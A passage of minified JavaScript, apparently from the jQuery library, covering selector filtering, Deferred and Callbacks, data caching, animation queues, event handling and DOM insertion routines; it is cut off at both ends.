e===t!==n}):"string"!=typeof t?w.grep(e,function(e){return u.call(t,e)>-1!==n}):w.filter(t,e,n)}w.filter=function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?w.find.matchesSelector(r,e)?[r]:[]:w.find.matches(e,w.grep(t,function(e){return 1===e.nodeType}))},w.fn.extend({find:function(e){var t,n,r=this.length,i=this;if("string"!=typeof e)return this.pushStack(w(e).filter(function(){for(t=0;t<r;t++)if(w.contains(i[t],this))return!0}));for(n=this.pushStack([]),t=0;t<r;t++)w.find(e,i[t],n);return r>1?w.uniqueSort(n):n},filter:function(e){return this.pushStack(j(this,e||[],!1))},not:function(e){return this.pushStack(j(this,e||[],!0))},is:function(e){return!!j(this,"string"==typeof e&&D.test(e)?w(e):e||[],!1).length}});var q,L=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/;(w.fn.init=function(e,t,n){var i,o;if(!e)return this;if(n=n||q,"string"==typeof e){if(!(i="<"===e[0]&&">"===e[e.length-1]&&e.length>=3?[null,e,null]:L.exec(e))||!i[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(i[1]){if(t=t instanceof w?t[0]:t,w.merge(this,w.parseHTML(i[1],t&&t.nodeType?t.ownerDocument||t:r,!0)),A.test(i[1])&&w.isPlainObject(t))for(i in t)g(this[i])?this[i](t[i]):this.attr(i,t[i]);return this}return(o=r.getElementById(i[2]))&&(this[0]=o,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):g(e)?void 0!==n.ready?n.ready(e):e(w):w.makeArray(e,this)}).prototype=w.fn,q=w(r);var H=/^(?:parents|prev(?:Until|All))/,O={children:!0,contents:!0,next:!0,prev:!0};w.fn.extend({has:function(e){var t=w(e,this),n=t.length;return this.filter(function(){for(var e=0;e<n;e++)if(w.contains(this,t[e]))return!0})},closest:function(e,t){var n,r=0,i=this.length,o=[],a="string"!=typeof e&&w(e);if(!D.test(e))for(;r<i;r++)for(n=this[r];n&&n!==t;n=n.parentNode)if(n.nodeType<11&&(a?a.index(n)>-1:1===n.nodeType&&w.find.matchesSelector(n,e))){o.push(n);break}return this.pushStack(o.length>1?w.uniqueSort(o):o)},index:function(e){return e?"string"==typeof e?u.call(w(e),this[0]):u.call(this,e.jquery?e[0]:e):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(w.uniqueSort(w.merge(this.get(),w(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}});function P(e,t){while((e=e[t])&&1!==e.nodeType);return e}w.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return k(e,"parentNode")},parentsUntil:function(e,t,n){return k(e,"parentNode",n)},next:function(e){return P(e,"nextSibling")},prev:function(e){return P(e,"previousSibling")},nextAll:function(e){return k(e,"nextSibling")},prevAll:function(e){return k(e,"previousSibling")},nextUntil:function(e,t,n){return k(e,"nextSibling",n)},prevUntil:function(e,t,n){return k(e,"previousSibling",n)},siblings:function(e){return S((e.parentNode||{}).firstChild,e)},children:function(e){return S(e.firstChild)},contents:function(e){return N(e,"iframe")?e.contentDocument:(N(e,"template")&&(e=e.content||e),w.merge([],e.childNodes))}},function(e,t){w.fn[e]=function(n,r){var i=w.map(this,t,n);return"Until"!==e.slice(-5)&&(r=n),r&&"string"==typeof r&&(i=w.filter(r,i)),this.length>1&&(O[e]||w.uniqueSort(i),H.test(e)&&i.reverse()),this.pushStack(i)}});var M=/[^\x20\t\r\n\f]+/g;function R(e){var t={};return w.each(e.match(M)||[],function(e,n){t[n]=!0}),t}w.Callbacks=function(e){e="string"==typeof e?R(e):w.extend({},e);var t,n,r,i,o=[],a=[],s=-1,u=function(){for(i=i||e.once,r=t=!0;a.length;s=-1){n=a.shift();while(++s<o.length)!1===o[s].apply(n[0],n[1])&&e.stopOnFalse&&(s=o.length,n=!1)}e.memory||(n=!1),t=!1,i&&(o=n?[]:"")},l={add:function(){return o&&(n&&!t&&(s=o.length-1,a.push(n)),function t(n){w.each(n,function(n,r){g(r)?e.unique&&l.has(r)||o.push(r):r&&r.length&&"string"!==x(r)&&t(r)})}(arguments),n&&!t&&u()),this},remove:function(){return w.each(arguments,function(e,t){var n;while((n=w.inArray(t,o,n))>-1)o.splice(n,1),n<=s&&s--}),this},has:function(e){return e?w.inArray(e,o)>-1:o.length>0},empty:function(){return o&&(o=[]),this},disable:function(){return i=a=[],o=n="",this},disabled:function(){return!o},lock:function(){return i=a=[],n||t||(o=n=""),this},locked:function(){return!!i},fireWith:function(e,n){return i||(n=[e,(n=n||[]).slice?n.slice():n],a.push(n),t||u()),this},fire:function(){return l.fireWith(this,arguments),this},fired:function(){return!!r}};return l};function I(e){return e}function W(e){throw e}function $(e,t,n,r){var i;try{e&&g(i=e.promise)?i.call(e).done(t).fail(n):e&&g(i=e.then)?i.call(e,t,n):t.apply(void 0,[e].slice(r))}catch(e){n.apply(void 0,[e])}}w.extend({Deferred:function(t){var n=[["notify","progress",w.Callbacks("memory"),w.Callbacks("memory"),2],["resolve","done",w.Callbacks("once memory"),w.Callbacks("once memory"),0,"resolved"],["reject","fail",w.Callbacks("once memory"),w.Callbacks("once memory"),1,"rejected"]],r="pending",i={state:function(){return r},always:function(){return o.done(arguments).fail(arguments),this},"catch":function(e){return i.then(null,e)},pipe:function(){var e=arguments;return w.Deferred(function(t){w.each(n,function(n,r){var i=g(e[r[4]])&&e[r[4]];o[r[1]](function(){var e=i&&i.apply(this,arguments);e&&g(e.promise)?e.promise().progress(t.notify).done(t.resolve).fail(t.reject):t[r[0]+"With"](this,i?[e]:arguments)})}),e=null}).promise()},then:function(t,r,i){var o=0;function a(t,n,r,i){return function(){var s=this,u=arguments,l=function(){var e,l;if(!(t<o)){if((e=r.apply(s,u))===n.promise())throw new TypeError("Thenable self-resolution");l=e&&("object"==typeof e||"function"==typeof e)&&e.then,g(l)?i?l.call(e,a(o,n,I,i),a(o,n,W,i)):(o++,l.call(e,a(o,n,I,i),a(o,n,W,i),a(o,n,I,n.notifyWith))):(r!==I&&(s=void 0,u=[e]),(i||n.resolveWith)(s,u))}},c=i?l:function(){try{l()}catch(e){w.Deferred.exceptionHook&&w.Deferred.exceptionHook(e,c.stackTrace),t+1>=o&&(r!==W&&(s=void 0,u=[e]),n.rejectWith(s,u))}};t?c():(w.Deferred.getStackHook&&(c.stackTrace=w.Deferred.getStackHook()),e.setTimeout(c))}}return w.Deferred(function(e){n[0][3].add(a(0,e,g(i)?i:I,e.notifyWith)),n[1][3].add(a(0,e,g(t)?t:I)),n[2][3].add(a(0,e,g(r)?r:W))}).promise()},promise:function(e){return null!=e?w.extend(e,i):i}},o={};return w.each(n,function(e,t){var a=t[2],s=t[5];i[t[1]]=a.add,s&&a.add(function(){r=s},n[3-e][2].disable,n[3-e][3].disable,n[0][2].lock,n[0][3].lock),a.add(t[3].fire),o[t[0]]=function(){return o[t[0]+"With"](this===o?void 0:this,arguments),this},o[t[0]+"With"]=a.fireWith}),i.promise(o),t&&t.call(o,o),o},when:function(e){var t=arguments.length,n=t,r=Array(n),i=o.call(arguments),a=w.Deferred(),s=function(e){return function(n){r[e]=this,i[e]=arguments.length>1?o.call(arguments):n,--t||a.resolveWith(r,i)}};if(t<=1&&($(e,a.done(s(n)).resolve,a.reject,!t),"pending"===a.state()||g(i[n]&&i[n].then)))return a.then();while(n--)$(i[n],s(n),a.reject);return a.promise()}});var B=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;w.Deferred.exceptionHook=function(t,n){e.console&&e.console.warn&&t&&B.test(t.name)&&e.console.warn("jQuery.Deferred exception: "+t.message,t.stack,n)},w.readyException=function(t){e.setTimeout(function(){throw t})};var F=w.Deferred();w.fn.ready=function(e){return F.then(e)["catch"](function(e){w.readyException(e)}),this},w.extend({isReady:!1,readyWait:1,ready:function(e){(!0===e?--w.readyWait:w.isReady)||(w.isReady=!0,!0!==e&&--w.readyWait>0||F.resolveWith(r,[w]))}}),w.ready.then=F.then;function _(){r.removeEventListener("DOMContentLoaded",_),e.removeEventListener("load",_),w.ready()}"complete"===r.readyState||"loading"!==r.readyState&&!r.documentElement.doScroll?e.setTimeout(w.ready):(r.addEventListener("DOMContentLoaded",_),e.addEventListener("load",_));var z=function(e,t,n,r,i,o,a){var s=0,u=e.length,l=null==n;if("object"===x(n)){i=!0;for(s in n)z(e,t,s,n[s],!0,o,a)}else if(void 0!==r&&(i=!0,g(r)||(a=!0),l&&(a?(t.call(e,r),t=null):(l=t,t=function(e,t,n){return l.call(w(e),n)})),t))for(;s<u;s++)t(e[s],n,a?r:r.call(e[s],s,t(e[s],n)));return i?e:l?t.call(e):u?t(e[0],n):o},X=/^-ms-/,U=/-([a-z])/g;function V(e,t){return t.toUpperCase()}function G(e){return e.replace(X,"ms-").replace(U,V)}var Y=function(e){return 1===e.nodeType||9===e.nodeType||!+e.nodeType};function Q(){this.expando=w.expando+Q.uid++}Q.uid=1,Q.prototype={cache:function(e){var t=e[this.expando];return t||(t={},Y(e)&&(e.nodeType?e[this.expando]=t:Object.defineProperty(e,this.expando,{value:t,configurable:!0}))),t},set:function(e,t,n){var r,i=this.cache(e);if("string"==typeof t)i[G(t)]=n;else for(r in t)i[G(r)]=t[r];return i},get:function(e,t){return void 0===t?this.cache(e):e[this.expando]&&e[this.expando][G(t)]},access:function(e,t,n){return void 0===t||t&&"string"==typeof t&&void 0===n?this.get(e,t):(this.set(e,t,n),void 0!==n?n:t)},remove:function(e,t){var n,r=e[this.expando];if(void 0!==r){if(void 0!==t){n=(t=Array.isArray(t)?t.map(G):(t=G(t))in r?[t]:t.match(M)||[]).length;while(n--)delete r[t[n]]}(void 0===t||w.isEmptyObject(r))&&(e.nodeType?e[this.expando]=void 0:delete e[this.expando])}},hasData:function(e){var t=e[this.expando];return void 0!==t&&!w.isEmptyObject(t)}};var J=new Q,K=new Q,Z=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,ee=/[A-Z]/g;function te(e){return"true"===e||"false"!==e&&("null"===e?null:e===+e+""?+e:Z.test(e)?JSON.parse(e):e)}function ne(e,t,n){var r;if(void 0===n&&1===e.nodeType)if(r="data-"+t.replace(ee,"-$&").toLowerCase(),"string"==typeof(n=e.getAttribute(r))){try{n=te(n)}catch(e){}K.set(e,t,n)}else n=void 0;return n}w.extend({hasData:function(e){return K.hasData(e)||J.hasData(e)},data:function(e,t,n){return K.access(e,t,n)},removeData:function(e,t){K.remove(e,t)},_data:function(e,t,n){return J.access(e,t,n)},_removeData:function(e,t){J.remove(e,t)}}),w.fn.extend({data:function(e,t){var n,r,i,o=this[0],a=o&&o.attributes;if(void 0===e){if(this.length&&(i=K.get(o),1===o.nodeType&&!J.get(o,"hasDataAttrs"))){n=a.length;while(n--)a[n]&&0===(r=a[n].name).indexOf("data-")&&(r=G(r.slice(5)),ne(o,r,i[r]));J.set(o,"hasDataAttrs",!0)}return i}return"object"==typeof e?this.each(function(){K.set(this,e)}):z(this,function(t){var n;if(o&&void 0===t){if(void 0!==(n=K.get(o,e)))return n;if(void 0!==(n=ne(o,e)))return n}else this.each(function(){K.set(this,e,t)})},null,t,arguments.length>1,null,!0)},removeData:function(e){return this.each(function(){K.remove(this,e)})}}),w.extend({queue:function(e,t,n){var r;if(e)return t=(t||"fx")+"queue",r=J.get(e,t),n&&(!r||Array.isArray(n)?r=J.access(e,t,w.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||"fx";var n=w.queue(e,t),r=n.length,i=n.shift(),o=w._queueHooks(e,t),a=function(){w.dequeue(e,t)};"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,a,o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return J.get(e,n)||J.access(e,n,{empty:w.Callbacks("once memory").add(function(){J.remove(e,[t+"queue",n])})})}}),w.fn.extend({queue:function(e,t){var n=2;return"string"!=typeof e&&(t=e,e="fx",n--),arguments.length<n?w.queue(this[0],e):void 0===t?this:this.each(function(){var n=w.queue(this,e,t);w._queueHooks(this,e),"fx"===e&&"inprogress"!==n[0]&&w.dequeue(this,e)})},dequeue:function(e){return this.each(function(){w.dequeue(this,e)})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,t){var n,r=1,i=w.Deferred(),o=this,a=this.length,s=function(){--r||i.resolveWith(o,[o])};"string"!=typeof e&&(t=e,e=void 0),e=e||"fx";while(a--)(n=J.get(o[a],e+"queueHooks"))&&n.empty&&(r++,n.empty.add(s));return s(),i.promise(t)}});var re=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,ie=new RegExp("^(?:([+-])=|)("+re+")([a-z%]*)$","i"),oe=["Top","Right","Bottom","Left"],ae=function(e,t){return"none"===(e=t||e).style.display||""===e.style.display&&w.contains(e.ownerDocument,e)&&"none"===w.css(e,"display")},se=function(e,t,n,r){var i,o,a={};for(o in t)a[o]=e.style[o],e.style[o]=t[o];i=n.apply(e,r||[]);for(o in t)e.style[o]=a[o];return i};function ue(e,t,n,r){var i,o,a=20,s=r?function(){return r.cur()}:function(){return w.css(e,t,"")},u=s(),l=n&&n[3]||(w.cssNumber[t]?"":"px"),c=(w.cssNumber[t]||"px"!==l&&+u)&&ie.exec(w.css(e,t));if(c&&c[3]!==l){u/=2,l=l||c[3],c=+u||1;while(a--)w.style(e,t,c+l),(1-o)*(1-(o=s()/u||.5))<=0&&(a=0),c/=o;c*=2,w.style(e,t,c+l),n=n||[]}return n&&(c=+c||+u||0,i=n[1]?c+(n[1]+1)*n[2]:+n[2],r&&(r.unit=l,r.start=c,r.end=i)),i}var le={};function ce(e){var t,n=e.ownerDocument,r=e.nodeName,i=le[r];return i||(t=n.body.appendChild(n.createElement(r)),i=w.css(t,"display"),t.parentNode.removeChild(t),"none"===i&&(i="block"),le[r]=i,i)}function fe(e,t){for(var n,r,i=[],o=0,a=e.length;o<a;o++)(r=e[o]).style&&(n=r.style.display,t?("none"===n&&(i[o]=J.get(r,"display")||null,i[o]||(r.style.display="")),""===r.style.display&&ae(r)&&(i[o]=ce(r))):"none"!==n&&(i[o]="none",J.set(r,"display",n)));for(o=0;o<a;o++)null!=i[o]&&(e[o].style.display=i[o]);return e}w.fn.extend({show:function(){return fe(this,!0)},hide:function(){return fe(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){ae(this)?w(this).show():w(this).hide()})}});var pe=/^(?:checkbox|radio)$/i,de=/<([a-z][^\/\0>\x20\t\r\n\f]+)/i,he=/^$|^module$|\/(?:java|ecma)script/i,ge={option:[1,"<select multiple='multiple'>","</select>"],thead:[1,"<table>","</table>"],col:[2,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:[0,"",""]};ge.optgroup=ge.option,ge.tbody=ge.tfoot=ge.colgroup=ge.caption=ge.thead,ge.th=ge.td;function ye(e,t){var n;return n="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&N(e,t)?w.merge([e],n):n}function ve(e,t){for(var n=0,r=e.length;n<r;n++)J.set(e[n],"globalEval",!t||J.get(t[n],"globalEval"))}var me=/<|&#?\w+;/;function xe(e,t,n,r,i){for(var o,a,s,u,l,c,f=t.createDocumentFragment(),p=[],d=0,h=e.length;d<h;d++)if((o=e[d])||0===o)if("object"===x(o))w.merge(p,o.nodeType?[o]:o);else if(me.test(o)){a=a||f.appendChild(t.createElement("div")),s=(de.exec(o)||["",""])[1].toLowerCase(),u=ge[s]||ge._default,a.innerHTML=u[1]+w.htmlPrefilter(o)+u[2],c=u[0];while(c--)a=a.lastChild;w.merge(p,a.childNodes),(a=f.firstChild).textContent=""}else p.push(t.createTextNode(o));f.textContent="",d=0;while(o=p[d++])if(r&&w.inArray(o,r)>-1)i&&i.push(o);else if(l=w.contains(o.ownerDocument,o),a=ye(f.appendChild(o),"script"),l&&ve(a),n){c=0;while(o=a[c++])he.test(o.type||"")&&n.push(o)}return f}!function(){var e=r.createDocumentFragment().appendChild(r.createElement("div")),t=r.createElement("input");t.setAttribute("type","radio"),t.setAttribute("checked","checked"),t.setAttribute("name","t"),e.appendChild(t),h.checkClone=e.cloneNode(!0).cloneNode(!0).lastChild.checked,e.innerHTML="<textarea>x</textarea>",h.noCloneChecked=!!e.cloneNode(!0).lastChild.defaultValue}();var be=r.documentElement,we=/^key/,Te=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,Ce=/^([^.]*)(?:\.(.+)|)/;function Ee(){return!0}function ke(){return!1}function Se(){try{return r.activeElement}catch(e){}}function De(e,t,n,r,i,o){var a,s;if("object"==typeof t){"string"!=typeof n&&(r=r||n,n=void 0);for(s in t)De(e,s,n,r,t[s],o);return e}if(null==r&&null==i?(i=n,r=n=void 0):null==i&&("string"==typeof n?(i=r,r=void 0):(i=r,r=n,n=void 0)),!1===i)i=ke;else if(!i)return e;return 1===o&&(a=i,(i=function(e){return w().off(e),a.apply(this,arguments)}).guid=a.guid||(a.guid=w.guid++)),e.each(function(){w.event.add(this,t,i,r,n)})}w.event={global:{},add:function(e,t,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,y=J.get(e);if(y){n.handler&&(n=(o=n).handler,i=o.selector),i&&w.find.matchesSelector(be,i),n.guid||(n.guid=w.guid++),(u=y.events)||(u=y.events={}),(a=y.handle)||(a=y.handle=function(t){return"undefined"!=typeof w&&w.event.triggered!==t.type?w.event.dispatch.apply(e,arguments):void 0}),l=(t=(t||"").match(M)||[""]).length;while(l--)d=g=(s=Ce.exec(t[l])||[])[1],h=(s[2]||"").split(".").sort(),d&&(f=w.event.special[d]||{},d=(i?f.delegateType:f.bindType)||d,f=w.event.special[d]||{},c=w.extend({type:d,origType:g,data:r,handler:n,guid:n.guid,selector:i,needsContext:i&&w.expr.match.needsContext.test(i),namespace:h.join(".")},o),(p=u[d])||((p=u[d]=[]).delegateCount=0,f.setup&&!1!==f.setup.call(e,r,h,a)||e.addEventListener&&e.addEventListener(d,a)),f.add&&(f.add.call(e,c),c.handler.guid||(c.handler.guid=n.guid)),i?p.splice(p.delegateCount++,0,c):p.push(c),w.event.global[d]=!0)}},remove:function(e,t,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,y=J.hasData(e)&&J.get(e);if(y&&(u=y.events)){l=(t=(t||"").match(M)||[""]).length;while(l--)if(s=Ce.exec(t[l])||[],d=g=s[1],h=(s[2]||"").split(".").sort(),d){f=w.event.special[d]||{},p=u[d=(r?f.delegateType:f.bindType)||d]||[],s=s[2]&&new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),a=o=p.length;while(o--)c=p[o],!i&&g!==c.origType||n&&n.guid!==c.guid||s&&!s.test(c.namespace)||r&&r!==c.selector&&("**"!==r||!c.selector)||(p.splice(o,1),c.selector&&p.delegateCount--,f.remove&&f.remove.call(e,c));a&&!p.length&&(f.teardown&&!1!==f.teardown.call(e,h,y.handle)||w.removeEvent(e,d,y.handle),delete u[d])}else for(d in u)w.event.remove(e,d+t[l],n,r,!0);w.isEmptyObject(u)&&J.remove(e,"handle events")}},dispatch:function(e){var t=w.event.fix(e),n,r,i,o,a,s,u=new Array(arguments.length),l=(J.get(this,"events")||{})[t.type]||[],c=w.event.special[t.type]||{};for(u[0]=t,n=1;n<arguments.length;n++)u[n]=arguments[n];if(t.delegateTarget=this,!c.preDispatch||!1!==c.preDispatch.call(this,t)){s=w.event.handlers.call(this,t,l),n=0;while((o=s[n++])&&!t.isPropagationStopped()){t.currentTarget=o.elem,r=0;while((a=o.handlers[r++])&&!t.isImmediatePropagationStopped())t.rnamespace&&!t.rnamespace.test(a.namespace)||(t.handleObj=a,t.data=a.data,void 0!==(i=((w.event.special[a.origType]||{}).handle||a.handler).apply(o.elem,u))&&!1===(t.result=i)&&(t.preventDefault(),t.stopPropagation()))}return c.postDispatch&&c.postDispatch.call(this,t),t.result}},handlers:function(e,t){var n,r,i,o,a,s=[],u=t.delegateCount,l=e.target;if(u&&l.nodeType&&!("click"===e.type&&e.button>=1))for(;l!==this;l=l.parentNode||this)if(1===l.nodeType&&("click"!==e.type||!0!==l.disabled)){for(o=[],a={},n=0;n<u;n++)void 0===a[i=(r=t[n]).selector+" "]&&(a[i]=r.needsContext?w(i,this).index(l)>-1:w.find(i,this,null,[l]).length),a[i]&&o.push(r);o.length&&s.push({elem:l,handlers:o})}return l=this,u<t.length&&s.push({elem:l,handlers:t.slice(u)}),s},addProp:function(e,t){Object.defineProperty(w.Event.prototype,e,{enumerable:!0,configurable:!0,get:g(t)?function(){if(this.originalEvent)return t(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[e]},set:function(t){Object.defineProperty(this,e,{enumerable:!0,configurable:!0,writable:!0,value:t})}})},fix:function(e){return e[w.expando]?e:new w.Event(e)},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==Se()&&this.focus)return this.focus(),!1},delegateType:"focusin"},blur:{trigger:function(){if(this===Se()&&this.blur)return this.blur(),!1},delegateType:"focusout"},click:{trigger:function(){if("checkbox"===this.type&&this.click&&N(this,"input"))return this.click(),!1},_default:function(e){return N(e.target,"a")}},beforeunload:{postDispatch:function(e){void 0!==e.result&&e.originalEvent&&(e.originalEvent.returnValue=e.result)}}}},w.removeEvent=function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n)},w.Event=function(e,t){if(!(this instanceof w.Event))return new w.Event(e,t);e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||void 0===e.defaultPrevented&&!1===e.returnValue?Ee:ke,this.target=e.target&&3===e.target.nodeType?e.target.parentNode:e.target,this.currentTarget=e.currentTarget,this.relatedTarget=e.relatedTarget):this.type=e,t&&w.extend(this,t),this.timeStamp=e&&e.timeStamp||Date.now(),this[w.expando]=!0},w.Event.prototype={constructor:w.Event,isDefaultPrevented:ke,isPropagationStopped:ke,isImmediatePropagationStopped:ke,isSimulated:!1,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=Ee,e&&!this.isSimulated&&e.preventDefault()},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=Ee,e&&!this.isSimulated&&e.stopPropagation()},stopImmediatePropagation:function(){var e=this.originalEvent;this.isImmediatePropagationStopped=Ee,e&&!this.isSimulated&&e.stopImmediatePropagation(),this.stopPropagation()}},w.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,"char":!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:function(e){var t=e.button;return null==e.which&&we.test(e.type)?null!=e.charCode?e.charCode:e.keyCode:!e.which&&void 0!==t&&Te.test(e.type)?1&t?1:2&t?3:4&t?2:0:e.which}},w.event.addProp),w.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(e,t){w.event.special[e]={delegateType:t,bindType:t,handle:function(e){var n,r=this,i=e.relatedTarget,o=e.handleObj;return i&&(i===r||w.contains(r,i))||(e.type=o.origType,n=o.handler.apply(this,arguments),e.type=t),n}}}),w.fn.extend({on:function(e,t,n,r){return De(this,e,t,n,r)},one:function(e,t,n,r){return De(this,e,t,n,r,1)},off:function(e,t,n){var r,i;if(e&&e.preventDefault&&e.handleObj)return r=e.handleObj,w(e.delegateTarget).off(r.namespace?r.origType+"."+r.namespace:r.origType,r.selector,r.handler),this;if("object"==typeof e){for(i in e)this.off(i,t,e[i]);return this}return!1!==t&&"function"!=typeof t||(n=t,t=void 0),!1===n&&(n=ke),this.each(function(){w.event.remove(this,e,n,t)})}});var Ne=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi,Ae=/<script|<style|<link/i,je=/checked\s*(?:[^=]|=\s*.checked.)/i,qe=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g;function Le(e,t){return N(e,"table")&&N(11!==t.nodeType?t:t.firstChild,"tr")?w(e).children("tbody")[0]||e:e}function He(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function Oe(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function Pe(e,t){var n,r,i,o,a,s,u,l;if(1===t.nodeType){if(J.hasData(e)&&(o=J.access(e),a=J.set(t,o),l=o.events)){delete a.handle,a.events={};for(i in l)for(n=0,r=l[i].length;n<r;n++)w.event.add(t,i,l[i][n])}K.hasData(e)&&(s=K.access(e),u=w.extend({},s),K.set(t,u))}}function Me(e,t){var n=t.nodeName.toLowerCase();"input"===n&&pe.test(e.type)?t.checked=e.checked:"input"!==n&&"textarea"!==n||(t.defaultValue=e.defaultValue)}function Re(e,t,n,r){t=a.apply([],t);var i,o,s,u,l,c,f=0,p=e.length,d=p-1,y=t[0],v=g(y);if(v||p>1&&"string"==typeof y&&!h.checkClone&&je.test(y))return e.each(function(i){var o=e.eq(i);v&&(t[0]=y.call(this,i,o.html())),Re(o,t,n,r)});if(p&&(i=xe(t,e[0].ownerDocument,!1,e,r),o=i.firstChild,1===i.childNodes.length&&(i=o),o||r)){for(u=(s=w.map(ye(i,"script"),He)).length;f<p;f++)l=i,f!==d&&(l=w.clone(l,!0,!0),u&&w.merge(s,ye(l,"script"))),n.call(e[f],l,f);if(u)for(c=s[s.length-1].ownerDocument,w.map(s,Oe),f=0;f<u;f++)l=s[f],he.test(l.type||"")&&!J.access(l,"globalEval")&&w.contains(c,l)&&(l.src&&"module"!==(l.type||"").toLowerCase()?w._evalUrl&&w._evalUrl(l.src):m(l.textContent.replace(qe,""),c,l))}return e}function Ie(e,t,n){for(var r,i=t?w.filter(t,e):e,o=0;null!=(r=i[o]);o++)n||1!==r.nodeType||w.cleanData(ye(r)),r.parentNode&&(n&&w.contains(r.ownerDocument,r)&&ve(ye(r,"script")),r.parentNode.removeChild(r));return e}w.extend({htmlPrefilter:function(e){return e.replace(Ne,"<$1></$2>")},clone:function(e,t,n){var r,i,o,a,s=e.cloneNode(!0),u=w.contains(e.ownerDocument,e);if(!(h.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||w.isXMLDoc(e)))for(a=ye(s),r=0,i=(o=ye(e)).length;r<i;r++)Me(o[r],a[r]);if(t)if(n)for(o=o||ye(e),a=a||ye(s),r=0,i=o.length;r<i;r++)Pe(o[r],a[r]);else Pe(e,s);return(a=ye(s,"script")).length>0&&ve(a,!u&&ye(e,"script")),s},cleanData:function(e){for(var t,n,r,i=w.event.special,o=0;void 0!==(n=e[o]);o++)if(Y(n)){if(t=n[J.expando]){if(t.events)for(r in t.events)i[r]?w.event.remove(n,r):w.removeEvent(n,r,t.handle);n[J.expando]=void 0}n[K.expando]&&(n[K.expando]=void 0)}}}),w.fn.extend({detach:function(e){return Ie(this,e,!0)},remove:function(e){return Ie(this,e)},text:function(e){return z(this,function(e){return void 0===e?w.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=e)})},null,e,arguments.length)},append:function(){return Re(this,arguments,function(e){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||Le(this,e).appendChild(e)})},prepend:function(){return Re(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=Le(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return Re(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return Re(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},empty:function(){for(var e,t=0;null!=(e=this[t]);t++)1===e.nodeType&&(w.cleanData(ye(e,!1)),e.textContent="");return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map(function(){return w.clone(this,e,t)})},html:function(e){return z(this,function(e){var t=this[0]||{},n=0,r=this.length;if(void 0===e&&1===t.nodeType)return t.innerHTML;if("string"==typeof e&&!Ae.test(e)&&!ge[(de.exec(e)||["",""])[1].toLowerCase()]){e=w.htmlPrefilter(e);try{for(;n<r;n++)1===(t=this[n]||{}).nodeType&&(w.cleanData(ye(t,!1)),t.innerHTML=e);t=0}catch(e){}}t&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var e=[];return Re(this,arguments,function(t){var n=this.parentNode;w.inArray(this,e)<0&&(w.cleanData(ye(this)),n&&n.replaceChild(t,this))},e)}}),w.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,t){w.fn[e]=function(e){for(var n,r=[],i=w(e),o=i.length-1,a=0;a<=o;a++)n=a===o?this:this.clone(!0),w(i[a])[t](n),s.apply(r,n.get());return this.pushStack(r)}});var We=new RegExp("^("+re+")(?!px)[a-z%]+$","i"),$e=function(t){var n=t.ownerDocument.defaultView;return n&&n.opener||(n=e),n.getComputedStyle(t)},Be=new RegExp(oe.join("|"),"i");!function(){function t(){if(c){l.style.cssText="position:absolute;left:-11111px;width:60px;margin-top:1px;padding:0;border:0",c.style.cssText="position:relative;display:block;box-sizing:border-box;overflow:scroll;margin:auto;border:1px;padding:1px;width:60%;top:1%",be.appendChild(l).appendChild(c);var 